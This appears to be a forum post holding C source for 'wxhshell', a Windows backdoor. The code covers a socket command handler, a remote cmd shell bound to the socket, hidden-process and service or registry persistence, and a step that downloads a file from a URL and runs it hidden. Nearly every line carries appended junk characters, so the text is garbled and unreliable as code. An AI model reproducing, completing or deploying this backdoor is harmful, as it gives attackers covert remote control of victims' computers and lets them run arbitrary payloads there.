  } 3,X/,'  
  else { u'~;Y.@i'  
5`+5{p  
    switch(cmd[0]) { ~%k?L4%  
  #\rwLpC1u  
  // 帮助 u,. 3  
  case '?': { _"a=8a06G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \E1U@6a  
    break; ,L> ar)B  
  } QCOo  
  // 安装 ^rNUAj9Z  
  case 'i': { p*QKK@C  
    if(Install()) <[ Xw)/#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A#wEuX=[  
    else giY80!GX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3INI?y}t   
    break; xl9aV\W  
    } K,ej%Vtz  
  // 卸载 8T[ 6J{|C  
  case 'r': { YNdrWBf)  
    if(Uninstall()) uzOYVN$t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aj>[z8!,  
    else }GwVKAjP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ka!I`Yf  
    break; I<oL}f  
    } )$GIN/i  
  // 显示 wxhshell 所在路径 5N$E()m$  
  case 'p': { \;5\9B"i  
    char svExeFile[MAX_PATH]; Wzq>JNn y  
    strcpy(svExeFile,"\n\r"); ;F:fM!l=  
      strcat(svExeFile,ExeFile); zt24qTKL  
        send(wsh,svExeFile,strlen(svExeFile),0); k3!a$0Bs;  
    break; . RVVWqW  
    } n 1b(\PA  
  // 重启 Z3KO90O!8  
  case 'b': { ='?:z2lJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w&h 2y4  
    if(Boot(REBOOT)) &7mW9]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .1 )RW5|c  
    else { I5ss0JSl/  
    closesocket(wsh); ~`8hwR1&z  
    ExitThread(0); yc;3Id5?>  
    } B:TR2G9UT  
    break; e0,'+;*=g  
    } imB#Eo4eY  
  // 关机 Nil}js27  
  case 'd': { d;[u8t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gwkb!#A  
    if(Boot(SHUTDOWN)) |H}sYp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 66&EBX}  
    else { >zvY\{WY  
    closesocket(wsh); M+>`sj  
    ExitThread(0); Oft arD  
    } Y&bM CI6U  
    break; 6(&Y(/  
    } .\Fss(Zn  
  // 获取shell U%B(5cC  
  case 's': { b}!3;:iD  
    CmdShell(wsh); Z [Xa%~5>5  
    closesocket(wsh); `NRH9l>B7  
    ExitThread(0); ` m@U!X  
    break; : 9!%ZD  
  } "bQ[CD  
  // 退出 FjfN3#qlg  
  case 'x': { 9W7#u}Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j|fd-<ng  
    CloseIt(wsh); t !`Jse>  
    break; y7\"[<E`(V  
    } Fqq6^um  
  // 离开 nt1CTWKM8^  
  case 'q': { km5~Gc}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D>L2o88  
    closesocket(wsh); A?!I/|E^;  
    WSACleanup(); 7Ey#u4Q  
    exit(1); j`*N,*ha  
    break; 4R%*Z ~  
        } .\3`2  
  } 'm=*u SJK  
  } /TQ}} YVw  
<lxD}DH=  
  // 提示信息 4DWwbO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yq[Cq=rBk  
} n| O [a6G  
  } yqOuX>m1c  
Yj(4&&Q  
  return; 7^TV~E#  
} faXx4A2"  
Tpp&  
// shell模块句柄 G\gMC <3  
int CmdShell(SOCKET sock) /?-7Fg+,  
{ 6R UrF  
STARTUPINFO si; u`:hMFTID  
ZeroMemory(&si,sizeof(si)); Gi6T["  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XkmQBV"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5r {;CKKz  
PROCESS_INFORMATION ProcessInfo; H4-qB Z'  
char cmdline[]="cmd"; Yd cK&{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); er.L7  
  return 0; |aToUi.Q%  
} x<i}_@Sn_+  
{U!St@  
// 自身启动模式 Z{NC9  
int StartFromService(void) U!5)5c}G  
{ neF]=uCWnT  
typedef struct bF}V4"d,B3  
{ <3X7T6_:@  
  DWORD ExitStatus; Rhzn/\)|  
  DWORD PebBaseAddress; T5Eseesp  
  DWORD AffinityMask; O%!5<8Xrb  
  DWORD BasePriority; u'A#%}3  
  ULONG UniqueProcessId; 9a$56GnW1  
  ULONG InheritedFromUniqueProcessId; {NM+Oj,~'  
}   PROCESS_BASIC_INFORMATION; V:NI4dv/R  
XJ0 {  
PROCNTQSIP NtQueryInformationProcess; FE7)E.U  
lG<hlYckv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E .6HpIx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4A`NJ  
-|yb[~3  
  HANDLE             hProcess; AF,BwLN  
  PROCESS_BASIC_INFORMATION pbi; HG >j5  
wmr-}Y!9u%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4b]a&_-}  
  if(NULL == hInst ) return 0; %~ |HFYd  
"%2xR[NF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~vdkFc(8B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W{cY6@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ft JjY@#  
M&Y .;  
  if (!NtQueryInformationProcess) return 0; tCF&OOI4`  
~=r^3nZR/J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); donw(_=  
  if(!hProcess) return 0; nx":"LFI  
R! s6% :Yg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oSb, :^Wl  
>n5:1.g  
  CloseHandle(hProcess); xom<P+M!|  
{1 J&xoV"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a)-FG P^  
if(hProcess==NULL) return 0; w>?Un,K  
_cDF{E+;  
HMODULE hMod; _+f+`]iM  
char procName[255]; D]! aT+  
unsigned long cbNeeded; %Tn#-  
N^?9ZO   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wk;5/  
Pj#'}ru!  
  CloseHandle(hProcess); {y kYW%3s  
or ;f&![w  
if(strstr(procName,"services")) return 1; // 以服务启动 YOyX[&oi  
R614#yn-+  
  return 0; // 注册表启动 >"X\>M`"  
} s'P( ,!f  
bJr[I  
// 主模块 q]& .#&h  
int StartWxhshell(LPSTR lpCmdLine) ]ekk }0  
{ 3*_fzP<R  
  SOCKET wsl; DmqX"x%P  
BOOL val=TRUE; 7iC *Pr  
  int port=0; Q'apG)0I  
  struct sockaddr_in door; !v#xb3"/  
fg%&N2/(.B  
  if(wscfg.ws_autoins) Install(); _,h@:Xij  
=(AtfW^H  
port=atoi(lpCmdLine); n_K~ vD  
T>>YNaUL  
if(port<=0) port=wscfg.ws_port; ;a"q'5+Ne  
Nw J:!  
  WSADATA data; aiCFH_H4;L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -l+P8:fL~  
v"u^M-_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ][PzgzG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~o3Hdd_#}N  
  door.sin_family = AF_INET; C}g9'jY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XdgUqQb}  
  door.sin_port = htons(port); D6D1S/:ij'  
!,$i6gm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &FdWFt=X  
closesocket(wsl); uw\1b.r'B  
return 1; JM$.O;y -  
} 46jh-4) <  
RH)EB<PV  
  if(listen(wsl,2) == INVALID_SOCKET) { 7;`o( [N  
closesocket(wsl); D8K-K]W@  
return 1; > Vb@[  
} dHnR_.  
  Wxhshell(wsl); 6" T['6:j  
  WSACleanup(); k ^'f[|}  
?q2j3e[>  
return 0; oj.A,Fh  
x90*yaw>h  
} :)f7A7:;  
pfuW  
// 以NT服务方式启动 Lr;(xw\['  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xk~IN%\  
{ &tR(n$ M@>  
DWORD   status = 0; jP vDFT^d/  
  DWORD   specificError = 0xfffffff; 0:Xxl76v4  
n7aU<`U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pI+!92Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !X >=l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )-rW&"{U  
  serviceStatus.dwWin32ExitCode     = 0; U09.Y  
  serviceStatus.dwServiceSpecificExitCode = 0; $V>98M>j  
  serviceStatus.dwCheckPoint       = 0; A?5E2T1L%.  
  serviceStatus.dwWaitHint       = 0; 4S0>-?{  
F7m?xy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8cx=#Me  
  if (hServiceStatusHandle==0) return; gE/Tj$  
Fh7'[>onw  
status = GetLastError(); .k{ j]{k  
  if (status!=NO_ERROR) FX <b:#  
{ vY|^/[x#B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z(uZF3  
    serviceStatus.dwCheckPoint       = 0; MjfFf} @  
    serviceStatus.dwWaitHint       = 0; l*b)st_p%  
    serviceStatus.dwWin32ExitCode     = status;  q}Z3?W  
    serviceStatus.dwServiceSpecificExitCode = specificError;  1iT\df  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 23(=Xp3;>  
    return; 73A)lU.  
  } iJFs0?*  
.ujT!{>v/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; stl 1Q O(h  
  serviceStatus.dwCheckPoint       = 0; c47")2/yO  
  serviceStatus.dwWaitHint       = 0; TZir>5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^62|d  
} &}mw'_ I  
(oK^c- x  
// 处理NT服务事件,比如:启动、停止 iyZZ}M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ylf[/='0K  
{ Sgb*tE)T  
switch(fdwControl) U7mozHS,:9  
{ PHg48Y"Nd  
case SERVICE_CONTROL_STOP: et,GrL)l  
  serviceStatus.dwWin32ExitCode = 0; /e\{    
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z!QDTIb  
  serviceStatus.dwCheckPoint   = 0; `+lHeLz':  
  serviceStatus.dwWaitHint     = 0; 6< J #^ 6  
  { YO{GU7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m^%|ZTrwN7  
  } ?i\B^uB  
  return; R)?{]]v  
case SERVICE_CONTROL_PAUSE: HJ?+A-n/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WzW-pV]  
  break; D*5hrkV9  
case SERVICE_CONTROL_CONTINUE: sGDV]~E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L gmvKW|  
  break; fa* Cpt:  
case SERVICE_CONTROL_INTERROGATE: "o!{51!'  
  break; / il@`w;G  
}; #yseiVm;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (LvS :?T}  
} $ZPX]2D4B#  
;wiao(t>4N  
// 标准应用程序主函数 `?*%$>W#"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I|oT0y &  
{ 31^cz*V  
&WXY'A=  
// 获取操作系统版本 E9j+o y  
OsIsNt=GetOsVer(); T&Xl'=/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >>l`,+y  
 uD_v!  
  // 从命令行安装 X#xFFDzN  
  if(strpbrk(lpCmdLine,"iI")) Install(); vP%tk s+.  
~ jU/<~s  
  // 下载执行文件 \u-0v.+|  
if(wscfg.ws_downexe) { Mj>}zbpk /  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) js^ ,(CS  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~Vh(6q.oT  
} .Hhhi  
pN6%&@) =  
if(!OsIsNt) { x"kjs.d7[<  
// 如果时win9x,隐藏进程并且设置为注册表启动 D\~zS`}  
HideProc(); -kz4FS  
StartWxhshell(lpCmdLine); {>3\ N0e5  
} |s7`F%  
else )'4P.>!!aQ  
  if(StartFromService()) rsn.4P=  
  // 以服务方式启动 (w (  
  StartServiceCtrlDispatcher(DispatchTable); RhI;;Y#@  
else psh^MX)Q  
  // 普通方式启动 cxeghy:;U  
  StartWxhshell(lpCmdLine); 3:/'t{ ^B  
xVB;s.'!  
return 0; $aCd/&  
}
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只看该作者 1 发表于: 2006-10-10
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